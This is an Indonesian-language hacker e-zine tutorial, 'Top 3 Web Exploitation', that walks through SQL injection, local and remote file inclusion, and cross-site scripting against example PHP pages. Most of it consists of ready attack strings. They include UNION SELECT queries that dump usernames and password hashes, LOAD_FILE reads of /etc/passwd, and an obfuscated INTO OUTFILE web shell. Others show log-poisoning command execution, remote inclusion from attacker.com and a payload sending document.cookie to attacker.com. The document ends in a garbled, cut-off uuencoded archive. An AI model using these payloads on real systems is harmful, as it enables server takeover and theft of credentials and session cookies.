24 Hours A Day, 300/1200 Baud
Presents...
####################################################################
TOKET - Terbitan Online Kecoak Elektronik
Defending the classical hackers mind since 1995
Publisher : http://www.kecoak-elektronik.net
Contact : staff@kecoak-elektronik.net
####################################################################
Subject : Top 3 Web Exploitation
Writer : Straw Hat Pirates of BytesKrew
Contact : Straw Hat Pirates Can't Be Contacted
Style : Unicode Transformation Format (UTF-8)
--[1]-- Kecoak Elektronik License
Kecoak Elektronik secara aktif mendukung Blue Ribbon Campaign.
Kami akan berusaha untuk menerbitkan semua informasi yang kami anggap
patut diketahui, baik dokumen teks, artikel majalah, atau surat kabar.
Seluruh kredit akan diberikan kepada sang pengarang.
Kecoak Elektronik tidak bertanggung jawab atas tindakan orang lain.
Informasi yang disajikan di situs ini adalah untuk tujuan pendidikan
dan informasionil belaka. Jika anda memutuskan untuk mengejawantahkan
dalam bentuk apapun informasi yang tersimpan di situs ini, anda
melakukan atas keputusan sendiri, dan tidak seorangpun selain anda
bertanggung jawab atas tindakan tersebut.
Dipersilahkan untuk mengambil sebagian atau seluruh dari isi artikel
yang kami terbitkan dengan tetap mencantumkan kredit atas pengarang
dan Kecoak Elektronik sebagai penerbit online. Artikel yang dikutip
atau diambil tidak dapat dipergunakan untuk kepentingan komersil.
--[2]-- Introduction
Website merupakan media komunikasi yang saat ini sudah sangat banyak
digunakan baik oleh personal, organisasi, maupun perusahaan. Penggunaan
website sebagai media komunikasi tidak terlepas dari menjamurnya
internet. Penggunaan media website cukup memberikan banyak keuntungan
bagi organisasi maupun perusahaan, tetapi bisa menjadi ancaman
tersendiri bagi asset organisasi atau perusahaan.
Banyak sekali celah keamanan yang ditemukan pada aplikasi website
memungkinkan pihak tidak bertanggung jawab dalam mencuri asset
organisasi atau perusahaan. Beberapa celah keamanan website yang sangat
populer adalah SQL injection, File Inclussion, Cross Site Scripting
(XSS), Cross Site Request Forgery(CSRF), dan masih banyak lagi celah
keamanan berbasiskan website. Jeremiah Grossman pada blog-nya memposting
Top 10 Web Hacking Technique pada blognya [ref.i] berdasar pada inovasi
yang dibuat pada teknik hacking tersebut. Tulisan ini membahas Top 3 Web
Exploitation berdasar pada seberapa sering celah keamanan tersebut
diexploitasi.
Mungkin sesuatu yang sedikit aneh mendadak TOKET merelease artikel
mengenai web hacking. Tulisan ini dimaksudkan sebagai jawaban bagi para
pendatang baru yang selalu bertanya bagaimana melakukan defacing
website, inject ini itu, dan seterusnya. Akhirnya kami memilih 3 celah
keamanan yang menurut kami paling sering diexploitasi yaitu:
- SQL Injection
- File Inclusion
- Cross Site Scripting
Okai, nothing's more to say, here we go....
--[3]-- SQL Injection
SQL injection merupakan serangan dengan memanfaatkan cacat programming
pada aplikasi website untuk mengeksploitasi database server. Selama
database server berbasiskan SQL terkoneksi ke website yang vulnerable,
serangan SQL injection tetap bisa dilakukan tidak peduli bahasa
pemrograman (CFM,ASP,PHP,JSP, dst) dan DBMS (Ms SQL, MySQL, Oracle,
PostgreSQL, dst) yang digunakaan.
SQL injection dilakukan dengan memanfaatkan inputan user yang tidak
tervalidasi dengan baik. Pihak tidak bertanggung jawab bisa
menginputkan meta karakter pada inputan user tersebut kemudian
dieksekusi oleh website dan dikirim ke database. Database server
memproses meta karakter tersebut sebagai query SQL yang wajar. Proses
SQL injection biasanya memanfaatkan meta karakter dan logika SQL
sehingga pihak tidak bertanggung jawab bisa memodifikasi query SQL
semaunya.
Akibat dari serangan SQL injection biasanya berupa pencurian record
database yang cukup confidential seperti username, password, email,
bahkan nomor kartu kredit. Selain itu SQL injection juga bisa
dimanfaatkan untuk mencuri login admin dan melakukan take over server
sepenuhnya.
Sebagai proof of concept, saya mengujikan serangan SQL injection ini
pada mesin Ubuntu 8.10 dilengkapi dengan Apache, PHP, dan MySQL.
--[3.1]-- Server Configuration
magic_quotes_gpc = Off
Tidak ada security module pada apache.
--[3.2]-- SQL injection in Form Login
SQL injection pada form login merupakan tipe yang paling sederhana,
walaupun demikian masih banyak sekali website yang vulnerable dengan
celah keamanan ini. SQL injection ini dimanfaatkan untuk membypass
proses login. Seorang attacker bisa login dengan username tanpa password
bahkan tanpa username dan password. Untuk menjelaskan proses terjadinya
serangan SQL injection tipe ini, berikut sebuah contoh code yang
bisa dieksploitasi.
login
You are login as " . $r->namaLengkap . "
\n";
}else{
die('Sorry, login failed!
');
}
?>
Saya menggunakan tabel 'tblUser' sederhana sebagai backend code di atas
yang isinya sebagai berikut :
+----+----------+----------------------------------+----------------+------------+------------------+
| id | username | password | namaLengkap | Alamat | Pekerjaan |
+----+----------+----------------------------------+----------------+------------+------------------+
| 1 | admin | 0192023a7bbd73250516f069df18b500 | Administrator | Yogyakarta | IT Consultant |
| 2 | babon | 01839822bfade9dd76dfeb165cd53e34 | Babon Soetioso | Semarang | Security Analyst |
+----+----------+----------------------------------+----------------+------------+------------------+
Setalah semua disiapkan, saya mencoba melakukan proses login dengan
membuka http://example.com/login.php
Saya menggunakan username 'babon' dan password 'anto123' yang merupakan
pasangan login valid. Output dibrowser sebagai berikut:
"You are login as Babon Soetioso"
Kemudian saya menggunakan username 'admin' dan password 'apasaja' yang
merupakan pasangan login tidak valid (password seharusnya admin123).
Output dibrowser adalah "Sorry, login failed!"
Celakanya parameter username dan password tidak disanitasi lebih dahulu
sebelum diinputkan ke query MySQL. Seorang attacker bisa memanipulasi
inputan login untuk membypass proses authentikasi, misalnya dengan
username = admin' OR 'a'='a
password = terserah
Pasangan login ini bisa digunakan untuk membypass login 'admin' dan
dianggap sebagai login valid. Output browser sebagai berikut:
"You are login as Administrator"
Proses ini bisa dijelaskan dengan menginputkan username dan password
tersebut pada query MySQL doLogin.php menjadi:
SELECT * FROM tblUser WHERE username = 'admin' OR 'a'='a' AND password = 'e00b29d5b34c3f78df09d45921c9ec47'
Jika dianalisis query tersebut memberikan nilai TRUE untuk user 'admin',
operasi dimulai dari operator AND (ingat operator AND lebih didahulukan
dibanding OR layaknya perkalian terhadap penjumlahan) [ref.ii ]. Terima
kasih kepada seorang temen, PHP programmer, sekaligus dosen yang tidak
bisa saya sebutkan namanya telah memberi ide mengenai "operator
precendence".
'a'='a' AND password = 'e00b29d5b34c3f78df09d45921c9ec47'
=> TRUE AND FALSE hasilnya FALSE, kemudian:
'admin' OR FALSE
hasilnya tentu saja adalah 'admin', sehingga ketika dimasukkan inputan
username dan password seperti demikian bisa digunakan untuk membypass
authentikasi.
--[3.3]-- SQL injection in URI parameters
SQL injection pada parameter URI jauh lebih banyak ditemukan
dibandingkan pada form login. Bahkan sering ditemukan pada Content
Management System (CMS) yang sudah mature sekalipun. Sayangnya SQL
injection jenis ini lebih sulit untuk dieksploitasi bahkan kadang bisa
dikatakan sangat sulit. Butuh imaginasi dan kreatifitas tinggi untuk
mengeksploitasi beberapa jenis SQL injection pada parameter URI. Contoh
code berikut digunakan untuk menampilkan sebuah berita dengan mengambil
parameter dari URI.
[news] " . $r->judul . "\n";
echo "" . $r->isi . "
\n";
}else{
die('Sorry, article is not found!
');
}
}else{
echo "This is homepage
\n";
}
?>
Saya menggunakan tabel 'news' sederhana sebagai backend code di atas
yang isinya sebagai berikut :
mysql> select * from news;
+----+---------------------+---------------------------------------------------------------------+
| id | judul | isi |
+----+---------------------+---------------------------------------------------------------------+
| 1 | Facebook Hacked | Facebook Hacked days ago, so many personal information were stolen! |
| 2 | Jakarta underground | Jakarta underground community made a nice party last night. |
+----+---------------------+---------------------------------------------------------------------+
2 rows in set (0.00 sec)
Setelah semua disiapkan, saya merequest file news.php seperti berikut :
http://example.com/news.php, maka pada browser ditampilkan
"This is homepage"
http://example.com/news.php?aid=1, maka pada browser ditampilkan
"[news] Facebook Hacked
Facebook Hacked days ago, so many personal information were stolen!"
Siapapun bisa mengubah-ubah parameter "?aid=", celakanya variable
$_GET['aid'] tidak disanitasi terlebih dahulu dan digunakan sebagai
parameter untuk men-query tabel di database. Hal ini bisa dimanfaatkan
oleh attacker untuk mengeksekusi sembarang perintah SQL sekehendaknya.
Berikut ini step by step sederhana yang biasa digunakan oleh attacker
untuk mencuri data pada server.
(i). Pengujian apakah sebuah website vulnerable, bisa dilakukan dengan
memanfaatkan logika AND.
http://example.com/news.php?aid=1 AND 1=1--
Logika AND 1=1 memberikan nilai TRUE, sehingga browser menampilkan
informasi sewajarnya untuk aid=1.
http://example.com/news.php?aid=1 AND 1=0--
Logika AND 1=0 meberikan nilai FALSE, sehingga browser tidak menampilkan
hasil untuk aid=1.
Jika kondisi ini terjadi pada suatu website, ada kemungkinan website
tersebut vulnerable dengan serangan SQL injection.
(ii). Menentukan berapa jumlah field yang digunakan pada query SQL di
file news.php dengan UNION SELECT.
http://example.com/news.php?aid=1 UNION SELECT 1--
http://example.com/news.php?aid=1 UNION SELECT 1,2--
http://example.com/news.php?aid=1 UNION SELECT 1,2,3--
Pada request pertama dan kedua, browser menampilkan error menandakan
jumlah field belum sama. Pada request ketiga browser menampilkan hasil
yang sewajarnya untuk aid=1 yang menandakan jumlah field pada tabel
adalah 3.
(iii). Menentukan field mana saja yang ditampilkan di browser.
http://example.com/news.php?aid=-1 UNION SELECT 1,2,3--
Pada kondisi ini diketahui bahwa field yang ditampilkan di website
adalah field nomor 2 dan 3, hal ini diketahui dari output di browser
sebagai berikut
[news] 2
3
(iv). Menentukan user yang digunakan dan database tempat tabel disimpan.
http://example.com/news.php?aid=-1 UNION SELECT 1,database(),user()--
Dari output dibrowser diketahui bahwa database yang digunakan adalah
'sqlpoc' dengan username 'root'.
[news] sqlpoc
root@localhost
(v). User 'root' pada DBMS MySQL merupakan user yang memiliki access
paling tinggi dan diizinkan menjalankan semua query SQL. Bagaimana jika
anda tidak mendapatkan user 'root'? Walaupun banyak keterbatasan tetapi
hampir semua user pasti mendapat akses ke query 'SELECT'.
(vi). Masih dengan menggunakan UNION SELECT, dapatkan informasi tabel
apa saja yang ada pada database 'sqlpoc' dengan meng-query record pada
information_schema.tables sebagai berikut:
http://example.com/news.php?aid=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--
Dari hasil query ini diketahui bahwa ada dua buah tabel pada database
'sqlpoc' yaitu tabel 'news' dan tabel 'tblUser'.
(vii). Selanjutnya saya ingin melihat isi 'tblUser', untuk itu saya
harus mengetahui field apa saja pada tabel tersebut dengan cara
meng-query information_schema.columns sebagai berikut:
http://example.com/news.php?aid=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='tblUser'--
Dari hasil query ini diketahui bahwa ada enam buah field pada tabel
'tblUser' yaitu : id,username,password,namaLengkap,Alamat, dan
Pekerjaan.
Saya mendapatkan saran dari senior security analyst di salah satu
perusahaan keamanan di Indonesia untuk menambahkan penggunaan karakter
hexadesimal. Jika penggunaan malicious URI di atas gagal, tblUser bisa
dikonvert ke hexadesimal sehingga menjadi.
http://example.com/news.php?aid=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=0x74626c55736572--
(viii). Langkah terakhir adalah mendapatkan isi tabel 'tblUser'. Misal
saya ingin tahu isi field username,password, dan nama lengkap maka:
http://example.com/news.php?aid=-1 UNION SELECT 1,2,CONCAT_WS(0x2c,username,password,namaLengkap) FROM tblUser--
http://example.com/news.php?aid=-1 UNION SELECT 1,2,CONCAT_WS(0x2c,username,password,namaLengkap) FROM tblUser WHERE username!='admin'--
Output hasil query ini adalah:
admin,0192023a7bbd73250516f069df18b500,Administrator
babon,01839822bfade9dd76dfeb165cd53e34,Babon Soetioso
(ix). Selain digunakan untuk melakukan pencurian record database, SQL
injection pada PHP MySQL juga bisa digunakan untuk melakukan pembacaan
file, contohnya:
http://example.com/news.php?aid=-1 UNION SELECT 1,2,LOAD_FILE('/etc/passwd')--
atau dalam hexal menjadi:
http://example.com/news.php?aid=-1 UNION SELECT 1,2,LOAD_FILE(0x2f6574632f706173737764)--
Dari hasil query ini, pada browser akan ditampilakn isi file
/etc/passwd. LOAD_FILE() bisa digunakan selama user yang meng-query
memiliki akses FILE.
(x). SQL injection juga bisa digunakan untuk meletakkan backdoor web
shell. Untuk pembuatan backdoor web shell dibutuhkan direktori yang bisa
ditulisi oleh user MySQL dan bisa diakses via web. Biasanya harus pada
direktori dengan permisi 777. Misalnya direktori /var/www/html/images
bisa ditulisi oleh user MySQL maka backdoor web shell bisa dibuat dengan
http://example.com/news.php?aid=-1 UNION SELECT "",2,3 INTO OUTFILE '/var/www/html/images/bd.php'
Jika gagal gunakan kreatifitas anda, misalnya query di atas bisa diubah
menjadi
http://example.com/news.php?aid=-2 UNION SELECT 1,1,CONCAT(char(0x3c),char(0x3f),char(0x70),char(0x68),char(0x70),char(0x20),char(0x73),char(0x79),char(0x73),char(0x74),char(0x65),char(0x6d),char(0x28),char(0x24),char(0x5f),char(0x47),char(0x45),char(0x54),char(0x5b),char(0x27),char(0x63),char(0x6d),char(0x64),char(0x27),char(0x5d),char(0x29),char(0x3b),char(0x20),char(0x3f),char(0x3e)) INTO OUTFILE '/var/www/html/images/a.php'--
Backdoor web shell kemudian bisa diakses sebagai berikut (misalnya
mengeksekusi perintah 'id')
http://example.com/images/bd.php?cmd=id
Mudah-mudahan pembahasan yang cukup sederhana ini bisa membuka pemahaman
bagi mereka yang sedang belajar SQL injection. Please, don't ask me
again about this material!
--[4]-- File Inclussion
File inclussion merupakan serangan dengan memanfaatkan cacat programming
pada aplikasi website untuk mengeksploitasi server tempat di hostingnya
website tersebut. Proses exploitasi bisa berupa pencurian file file
kritikal pada sebuah server seperti file password atau juga eksekusi
perintah sistem operasi untuk melakukan take over server secara penuh.
Celah file inclussion dikategorikan dalam dua jenis, jenis yang pertama
adalah "local file inclussion" sedangkan yang kedua adalah "remote file
inclussion".
Local file inclussion (LFI) menginputkan file yang ada di dalam server
untuk dieksekusi dan ditampilkan ke website, misalnya dalam sistem
linux/*NIX seorang attacker bisa menginputkan file password
(/etc/passwd), file group (/etc/group), file konfigurasi apache
(httpd.conf), dan file log apache (error_logs dan access_logs). Proses
pembacaan file file ini oleh pihak tidak bertanggung jawab sangat
berguna dalam menambah informasi bagi mereka dalam tujuannya menguasai
server.
Remote file inclussion (RFI) memungkinkan untuk menginputkan file yang
ada pada web server lain di internet. File yang diinputkan biasanya
digunakan untuk mengeksekusi perintah perintah sistem operasi atau biasa
dikenal dengan web shell. Dengan menggunakan web shell, sangat
memungkinkan bagi attacker untuk mendapatkan shell interaktif server web
yang vulnerable. Selanjutnya attacker bisa mengeksploitasi server lebih
jauh untuk mendapatkan akses tertinggi dan menguasai server secara
penuh.
Sebagai proof of concept, saya mengujikan kedua jenis file inclussion
ini pada mesin linux Ubuntu 8.10 dengan web server apache dan bahasa
pemrograman PHP.
--[4.1]-- Server Configuration
allow_url_include = On
magic_quotes_gpc = Off
safe_mode = Off
open_basedir =
disable_functions =
Tidak ada security module pada apache.
Really hard to find this kind of server now rite? It seems PHP is now
well hardened by its default install, tapi tenang masih banyak kok
yang bisa dieksploitasi.
--[4.2]-- Local File Inclussion
Untuk mendalami bagaimana Local File Inclussion terjadi, mari kita buat
sebuah code PHP sederhana untuk menjelaskan bagaimana vulnerability ini
bisa diexploitasi.
Saya menyimpan file tersebut dengan nama index.php pada direktori
/var/www/html/, kemudia saya membuat direktori modules/ pada
direktori tersebut. Saya mengisi direktori modules/ dengan dua buah
file, yaitu news.php dan paper.php masing masing sebagai berikut:
News
cant access directly');
}
echo "Halaman ini berisi berita
\n";
?>
Paper
cant access directly');
}
echo "Halaman ini berisi paper riset
\n";
?>
Setelah semua file disiapkan, saya mencoba untuk merequest file
index.php sebagai berikut :
(a). http://example.com/index.php?module=news
maka pada browser muncul "Halaman ini berisi berita"
(b). http://example.com/index.php?module=paper
maka pada browser muncul "Halaman ini berisi paper riset"
Siapapun bisa mengubah ubah parameter "?module=" termasuk orang yang
tidak bertanggung jawab. Celakanya variable $_GET['module'] pada code
index.php tidak difilter dengan baik sebelum di-include-kan sehingga
bisa dieksploitasi untuk menampilkan file file penting pada server,
misalnya /etc/passwd. Misalnya saya seorang attacker yang ingin
mendapatkan isi file /etc/passwd dan /etc/group, maka saya melakukan
request sebagai berikut :
(a). http://example.com/index.php?module=../../../../../../../etc/passwd%00
Tentu saja pada browser muncul isi file /etc/passwd
(b). http://example.com/index.php?module=../../../../../../../etc/group%00
Tentu saja pada browser muncul isi file /etc/group
Exploitasi bisa dilakukan oleh attacker untuk mendapatkan file lain yang
dia inginkan. Walaupun demikian, cacat programming di atas hanya bisa
untuk meng-include-kan semabrang file pada server itu sendiri. Hal ini
dikarenakan adanya definisi direktori ROOTDOC yang hanya bisa di-bypass
secara transversal. Oleh karena itu celah LFI juga sering disebut dengan
"Path Transversal Vulnerability".
Atas saran seorang teman, seorang security analyst di salah satu
perusahaan keamanan di indonesia yang tidak bisa saya sebutkan namanya
(for some reason), saya diminta untuk menambahkan bagaimana LFI bisa
dimanfaatkan untuk melakukan Remote Command Execution (RCE). Saya
teringat kasus website PHPBB yang disusupi beberapa waktu lalu, attacker
memanfaatkan log apache untuk mengeksekusi unix command. Tetapi saat
saya melihat default log apache saya hanya readable oleh user root.
Teman saya kemudian memberikan saran menggunakan /proc/self/environ, but
somehow that file is not readable oleh user apache *why?*.
Saya asumsikan attacker beruntung menemukan web server yang access_log
nya public readable. Untuk memanfaatkan log file apache sebagai web shell,
lakukan request HTTP melalui telnet atau dengan socket programming.
Request melalui browser tidak bisa digunakan untuk membuat web shell
pada access_logs, karena request tersebut sudah URL encoded. Untuk
menginjeksikan web shell pada log apache, gunakan telnet sebagai
berikut:
$ telnet example.com 80
Trying example.com...
Connected to example.com.
Escape character is '^]'.
GET / HTTP/1.1
Host:example.com
Tekan ENTER dua kali, hasil dari request ini pada access_logs apache
adalah,
114.xxx.xxx.xxx- - [21/May/2009:18:35:54 -0700] "GET / HTTP/1.1" 404 316 "-" "-"
Selanjutnya yang perlu dilakukan attacker adalah menemukan path log
apache tersebut untuk di-include-kan pada file yang vulnerable LFI.
Bagaimana caranya?? Cara yang paling sederhana adalah dengan
menbak-nebak, file log apache biasanya terletak pada
/var/log/httpd/access_log
/var/log/apache/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
dan seterusnya, use your experience...
Terakhir, attacker tinggal memanfaatkan access_logs tersebut untuk
menginjeksikan perintah sistem operasi. Pada percobaan ini access_log
saya ada pada /usr/local/apache/logs/access_log, sehingga untuk
mengeksekusi command 'id' bisa dilakukan dengan merequest malicious URI
berikut:
http://example.com/index.php?module=../../../../../../../usr/local/apache/logs/access_log%00&cmd=id
Attacker selanjutnya bisa mengeksekusi perintah yang lain sesuai
keinginannya. Tulisan pada [ref.iii] bisa menjadi acuan yang lebih
baik untuk memahami pemanfaatan LFI dalam remote command execution.
--[4.3]-- Remote File Inclussion
Sebuah code yang memiliki cacat RFI biasanya juga bisa dieksploitasi
dengan LFI juga tetapi tidak sebaliknya. Contoh potongan code untuk
menjelaskan LFI di atas tidak vulnerable dengan RFI. Untuk melihat
bagaimana cacat programming dan mengakibatkan RFI, saya menggunakan
potongan code berikut:
Sebelum uji coba dilanjutkan, pada default install php5 di ubuntu
intrepid, konfigurasi php.ini sudah di-hardening dengan tidak
mengizinkan URL include. Bagi yang ingin melanjutkan uji coba pada
artikel ini, silakan edit php.ini menjadi "allow_url_include = On".
Selanjutnya saya merequest file view.php dengan parameter berikut:
(a). http://example.com/view.php?page=http://attacker.com/injek.txt&exec=id
URI ini berguna untuk mengeksekusi perintah 'id' dan
menampilkan hasilnya di browser.
(b). http://example.com/view.php?page=http://attacker.com/injek.txt&exec=ls -al
URI ini berguna untuk mengeksekusi perintah 'ls -al' dan
menampilkan hasilnya di browser.
Eksekusi perintah shell lain bisa dilakukan sesuai keinginan attacker.
Untuk keperluan eksploitasi celah RFI biasanya digunakan web shell yang
sudah dilengkapi beragam fasilitas seperti r57, r58, atau c99. Dengan
menggunakan beragam web shell tersebut sangatlah mudah untuk mendapatkan
shell interaktif dan kemudian melakukan priviledge escalation.
--[5]-- Cross Site Scripting (XSS)
Cross Site Scripting atau biasa dikenal dengan XSS adalah jenis celah
keamanan pada aplikasi website yang dapat digunakan oleh pihak
bertanggung jawab untuk mengeksekusi code HTML atau javascript pada
komputer korban. Umumnya komputer korban adalah client yang mengakses
website vulnerable. Ada tiga tipe XSS yaitu [ref.iv]:
- DOM based XSS, merupakan XSS yang terjadi karena kesalahan
programming file pada local machine target. Beberapa software yang
terinstall biasanya memiliki HTML page untuk berbagai keperluan.
Jika file ini memiliki celah XSS maka sangatlah mungkin menimbulkan
DOM based XSS. Celah DOM based XSS biasanya muncul ketika ditemukan
vulnerability pada sebuah software. Exploitasi pada celah XSS
berbasis DOM ini hampir sama dengan exploitasi non-persistent XSS.
- XSS non-persistent, merupakan XSS yang paling sering ditemui pada
aplikasi berbasiskan website. XSS jenis ini terjadi karena kesalahan
pemrograman yang tidak mensanitasi inputan user dengan baik. Jenis
XSS ini sifatnya hanya sementara yaitu ketika user menge-klik
malicious URI dan browser memproses respons HTTP dari request URI
tersebut. Contoh XSS jenis ini banyak ditemui pada aplikasi searching
pada sebuah website.
- XSS persistent, juga merupakan jenis XSS pada aplikasi berbasis
website. XSS jenis ini terjadi karena kesalahan pemrograman yang
tidak mensanitasi inputan user dengan baik. Jenis XSS ini merupakan
XSS yang paling berbahaya karena tersimpan secara permanent pada
database. Contoh XSS ini banyak ditemui pada guestbook, jenis XSS ini
juga yang pernah menimbulkan worm MySpace.
Akibat dari celah keamanan ini lebih banyak menimpa client dibanding
server misalnya pencurian cookie, session hijacking, phising. Tetapi
untuk beberapa jenis XSS bisa berakibat fatal pada server misalnya
adanya worm berbasiskan XSS pada MySpace.
--[5.1]-- XSS non-persistent dan DOM
Untuk menjelaskan lebih jauh bagaimana exploitasi XSS ini terjadi saya
akan menggunakan contoh kode sederhana yang vulnerable terhadap XSS
non-persistent berikut (Proses exploitasi ini juga berlaku untuk XSS
berbasis DOM):
Searching for ". $_GET['key'] . "...
\n";
}
?>
Potongan code seperti diatas banyak dipakai untuk memberikan judul
sebuah proses searching dengan method GET. Misalnya kode di atas
disimpan sebagai search.php. Kemudian saya melakukan request URI normal
berikut:
http://example.com/search.php?key=love, maka pada browser muncul
"Searching for love..." --> lagi patah hati ya om
http://example.com/search.php?key=woman, maka pada browser muncul
"Searching for woman..." --> lagi horni ya ya mbah? (rofl)
Celakanya request GET itu tidak tersanitasi dengan baik oleh pengaman,
ketika user menginputkan malicious kode HTML atau javascript dieksekusi
oleh browser, misalnya:
http://example.com/search.php?key=woman
, nah lo makanya
pake pengaman, womannya jadi bengkak tuh :)
http://example.com/search.php?key=
maka pada browser akan muncul textbox alert.
Okai pengenalan XSS nya cukup, selanjutnya bagaimana celah tersebut bisa
digunakan untuk melakukan kejahatan? Jawabannya adalah dengan
memanfaatkan kode javascript. Berikut ini beberapa contoh pemanfaatan
XSS.
--[5.1.1]-- Cookie stealing
Cookie stealing digunakan untuk mencuri cookie yang ada pada komputer
client, bermanfaat untuk session hijacking berujung pada login bypass.
Untuk melakukan cookie stealing bisa dilakukan dengan malicious URI
berikut:
http://example.com/search.php?key=
isi payload.js adalah,
document.location="http://attacker.com/cookie-save.php?c="+document.cookie
sedangkan file cookie-save.php sebagai berikut:
ketika user menge-click malicious URI di atas, maka akan dibuat file
berisi cookie pada /tmp/cookie.txt. Untuk mengurangi kecurigaan user
terhadap malicious URI di atas, attacker bisa menggunakan hexal decoder
sehingga bentuk URI di atas menjadi lebih lazim yaitu:
http://example.com/search.php?key=%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2e%63%6f%6d%2f%70%61%79%6c%6f%61%64%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e
Yang perlu diingat adalah direktori tempat penyimpanan file cookie.txt
harus bisa ditulisi oleh user apache.
--[5.1.2]-- URL redirection dan phising
URL redirection bisa dimanfaatkan untuk kepentingan membohongi user
mendownload malicious file (misalnya virus atau trojan) atau bisa juga
untuk phising dengan membuat fake login. Pada dasarnya malicious URI
yang digunakan sama dengan untuk keperluan pencurian cookie yaitu:
http://example.com/search.php?key=
hanya saja isi dari payload.js adalah file trojan executeable atau
halaman fake login,
document.location="http://attacker.com/trojan.exe"
atau,
document.location="http://attacker.com/fake-login.php"
Isi payload.js sendiri sebenarnya berupa javascript yang bisa
dimodifikasi oleh attacker. Semakin attacker mengerti javascript semakin
banyak juga kreasi serangan yang bisa dibuat. Attacker juga bisa
mengganti script javascript dengan VBscript untuk korban yang menggunakan
Internet Explorer pada mesin windows. "Just follow your wildest
imagination!"
--[5.2]-- XSS persistent
XSS persistent bersifat permanen karena inputan user yang tidak
tersanitasi tersimpan dalam database. Contoh kode berikut berfungsi
sebagai guestbook sederhana yang vulnerable XSS.
Success! Your comment's successfully posted!";
}
else if($_GET['action']=='view'){
$select = "SELECT nama,comment FROM gbook";
$q=mysql_query($select) or die(mysql_error());
while(($r=mysql_fetch_object($q))){
echo "" . $r->nama . "'s comment : " . $r->comment . "
\n";
}
}
else{
die(" Error! Invalid input
\n");
}
mysql_close();
}
?>
Secara sederhana exploit untuk celah keamanan XSS non-persistent juga
bisa digunakan pada XSS persistent, hanya saja efeknya yang berbeda. XSS
non-persistent hanya berupa response HTTP tetapi XSS persistent
tersimpan di server. Untuk berbagai aplikasi yang lebih rumit, XSS jenis
ini bisa dimanfaatkan untuk membuat worm.
Untuk tulisan ini saya menggunakan tipe exploit untuk pencurian cookie
seperti pada XSS non-persistent. Walaupun demikian XSS jenis ini jauh
lebih powerful untuk mencuri cookie dibanding non-persistent. Pada XSS
non-persistent, attacker harus menjebak seseorang untuk menge-klik
sebuah link tertentu yang dibelokkan ke cookie grabber. Pada XSS
persistent ini attacker cukup memposting pada guestbook javascript code
untuk menncuri cookie, ketika ada user yang melihat isi guestbook maka
akan segera dibelokkan ke cookie grabber. XSS persistent ini
memungkinkan pencurian cookie secara massive terhadap user user yang
melihat isi guestbook, tidak terbatas pada satu user yang dijebak saja.
Misal berikut ini beberapa contoh postingan pada guestbook di atas:
http://example.com/guestbook.php?action=post
kemudian saya mengisi Nama="Anto" dan Comment="Ini postingan pertama",
Untuk melihat isi guestbook saya membuka,
http://example.com/guestbook.php?action=view
Maka muncul "Anto's comment : Ini postingan pertama". Selanjutnya ada
attacker yang memposting exploit XSS dengan mengisi Nama="Attacker"
dan Comment="".
Isi payload.js sama seperti pada XSS non-persistent, maka siapapun yang
melihat isi guestbook melalui,
http://example.com/guestbook.php?action=view
dia akan dibelokkan ke URL ookie grabber dan cookie yang ada pada
komputernya akan tercuri. Dari ilustrasi ini mudah mudahan pembaca bisa
memahami perbedaan XSS DOM, non-persistent, dan persistent.
--[6]-- Referensi
[ref.i] http://jeremiahgrossman.blogspot.com/2009/02/top-ten-web-hacking-techniques-of-2008.html
[ref ii] http://dev.mysql.com/doc/refman/5.0/en/operator-precedence.html
[ref.iii] http://milw0rm.com/papers/260
[ref.iv] http://en.wikipedia.org/wiki/Cross-site_scripting
--[7]-- Source C0de
begin 644 all-c0de.tgz
M'XL(`%9U%TH``^U;>T_;RA+OW_D4@Q5=!R[@O)$@":(E+4@44)*>*!3SE>I.L9(OO,OI@Q:X6B[/7?]ROBC7OTB?6*Y0+.S@^N>7(\XD_>;K7]O'
M9<]H&YFVH]LVH#HP"#EX.-P^#/@0?.;PD$'?LAE8KF%'06!Q-[.A93)6/V<%
M`0MSV>ZG9N="=;@9V4S]MK[^3P:0N<8<+[R?R07(4HNN[C"HXX_)(K`-"JFC
MLD(!>%[>K5'<#IV
M+;BD5U0*`H90'.BNCM`R6=]R64X]?']TUNZHFZJ-`+4'/`A5[."1^Z7=;"&7
MYG>2<7[0;L>,0K$TR3L]^-Q$7G!C>]P@UA-CI!MD#&)SX]QCR:[!79<984Y*
MM"F[WI0=K0/WP;183A9EOL_]W#K9#?DB8#96[9J]G.Q\;GEA^:9DJ-=53XS[
M'S(XF5J?^PY(9ET1*P#,&'"@66_]T6Q=J.='Y_C]Y*.TA?MQV4"_9[#<4
M<%@XX&9=H7:51J86ZCV;T=-O9*`6FHV:Y[/&J>[H-8V^U31\)SG_<7N!MS?^
M";LPQJ]9KA>%$-Y[K*Z$["Y4@*QN7<%/78E;PD__27TRGUJ!O]IM\)@?6$&(PT;LH$>TW(#Y
M(3I'Y?@4M:(#QZ>=,Q!@A!RMQ&8\2^OPQ\')EV8;$U%9%K'D[,@RT'FOPE4<^)$T'
M$,CW_KS7^=H64#Z/14]LDF&P9FB39&AR[J'66"5(?1_5!
M-"`#F<2>V3Q@9*TQL/G10";V_S:_M-PW\O^XV\M/Q_^58BGU_ZN@VB!T;#1C
M%$6C';9"-&I"&=#"B1\U3;`RM;6M+2!O+W8"(WV!K2WD];AY+Y5&1J!JH_
M(SLYX>I,?I+4>_1@9)-&'@QZW,<0HJ[DE0GOTN<(I\#Z'QKCH@)]W<`OM\PW
M,=10&E_06I'CF&/J=U_BVZ*XC;G^[5D)SO4@&*+DWRN!%]=+I!C]?H&3F]/7
M"UU:O!0+O%I-&RVD)M88GU)AWEIO4WH=BNW_)?OX]%]K]0+8_V?^4*OB^4
M\J5\:O]701\'WG!P>@C)Z$9EQ0P0
M&X-%N2D4?>*6_(8F9CR^%0\4%8-H^=Z-G*[/AP&%KFOU/`6O)Q[PMS+:]V;%X_]2I9S>_ZR"IM;?TSWFOW84L.C^IU2I3JU_
MN9A/_?]*J';4^7R"8?U1\^"P4>L<=TZ:N)M!):AI\D=-$ZQ,[?W9X==&)HD7
M'K>"(Y4!=)#HBIC/+JV<.GJM;LXZUA0G*])KG+>:#4/'W94N3HSPK8\^RKZO
